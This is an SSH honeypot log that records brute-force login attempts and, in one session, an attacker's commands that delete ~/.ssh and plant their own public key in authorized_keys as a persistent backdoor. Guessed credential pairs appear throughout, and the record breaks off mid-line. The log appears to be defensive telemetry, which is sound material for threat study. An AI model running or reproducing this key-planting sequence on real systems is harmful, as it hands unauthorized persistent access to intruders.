{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:20.761600Z","src_ip":"167.71.19.204","session":"65001602d61f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.19.204","src_port":43686,"dst_ip":"10.17.0.5","dst_port":22,"session":"589544795b59","protocol":"ssh","message":"New connection: 167.71.19.204:43686 (10.17.0.5:22) [session: 589544795b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:20.768725Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:20.772393Z","src_ip":"167.71.19.204","session":"589544795b59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:20.775504Z","src_ip":"167.71.19.204","session":"589544795b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":50186,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c3dde11a9bc","protocol":"ssh","message":"New connection: 2.57.122.96:50186 (10.17.0.5:22) [session: 7c3dde11a9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:38:07.747492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:38:07.752098Z","src_ip":"2.57.122.96","session":"7c3dde11a9bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:38:07.851638Z","src_ip":"2.57.122.96","session":"7c3dde11a9bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"euler","message":"login attempt [ubuntu/euler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:38:08.211102Z","src_ip":"2.57.122.96","session":"7c3dde11a9bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:38:09.312519Z","src_ip":"2.57.122.96","session":"7c3dde11a9bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35170,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7c5ad206fd9","protocol":"ssh","message":"New connection: 2.57.122.96:35170 (159.203.135.109:22) [session: e7c5ad206fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:38:24.960727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:38:24.970147Z","src_ip":"2.57.122.96","session":"e7c5ad206fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:38:25.066561Z","src_ip":"2.57.122.96","session":"e7c5ad206fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"euler","message":"login attempt [ubuntu/euler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:38:25.571128Z","src_ip":"2.57.122.96","session":"e7c5ad206fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:38:26.677150Z","src_ip":"2.57.122.96","session":"e7c5ad206fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35048,"dst_ip":"10.17.0.5","dst_port":22,"session":"30e289f95803","protocol":"ssh","message":"New connection: 2.57.122.96:35048 (10.17.0.5:22) [session: 30e289f95803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:41:12.706648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:41:12.740057Z","src_ip":"2.57.122.96","session":"30e289f95803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:41:12.817855Z","src_ip":"2.57.122.96","session":"30e289f95803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"staking","message":"login attempt [ubuntu/staking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:41:13.330370Z","src_ip":"2.57.122.96","session":"30e289f95803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:41:14.434128Z","src_ip":"2.57.122.96","session":"30e289f95803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":39178,"dst_ip":"159.203.135.109","dst_port":22,"session":"8472eac7446d","protocol":"ssh","message":"New connection: 2.57.122.96:39178 (159.203.135.109:22) [session: 8472eac7446d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:41:29.107146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:41:29.111220Z","src_ip":"2.57.122.96","session":"8472eac7446d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:41:29.218149Z","src_ip":"2.57.122.96","session":"8472eac7446d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"staking","message":"login attempt [ubuntu/staking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:41:29.562922Z","src_ip":"2.57.122.96","session":"8472eac7446d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:41:30.687958Z","src_ip":"2.57.122.96","session":"8472eac7446d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.75.7.83","src_port":8296,"dst_ip":"10.17.0.5","dst_port":22,"session":"f41c5fd96a93","protocol":"ssh","message":"New connection: 200.75.7.83:8296 (10.17.0.5:22) [session: f41c5fd96a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:20.063610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:20.068237Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:20.205933Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ivan","message":"login attempt [root/ivan] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:20.481569Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:20.789020Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:20.792664Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:20.797052Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:20.938094Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:21.114793Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:21.117931Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:21.259357Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:21.262869Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.75.7.83","src_port":8320,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef6fceec7089","protocol":"ssh","message":"New connection: 200.75.7.83:8320 (10.17.0.5:22) [session: ef6fceec7089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:29.394541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:29.398591Z","src_ip":"200.75.7.83","session":"ef6fceec7089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:29.533297Z","src_ip":"200.75.7.83","session":"ef6fceec7089","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:29.801934Z","src_ip":"200.75.7.83","session":"ef6fceec7089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:29.937685Z","src_ip":"200.75.7.83","session":"ef6fceec7089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:42:29.941768Z","src_ip":"200.75.7.83","session":"f41c5fd96a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35624,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9f43c36c449","protocol":"ssh","message":"New connection: 2.57.122.96:35624 (10.17.0.5:22) [session: b9f43c36c449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:44:11.113809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:44:11.117914Z","src_ip":"2.57.122.96","session":"b9f43c36c449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gc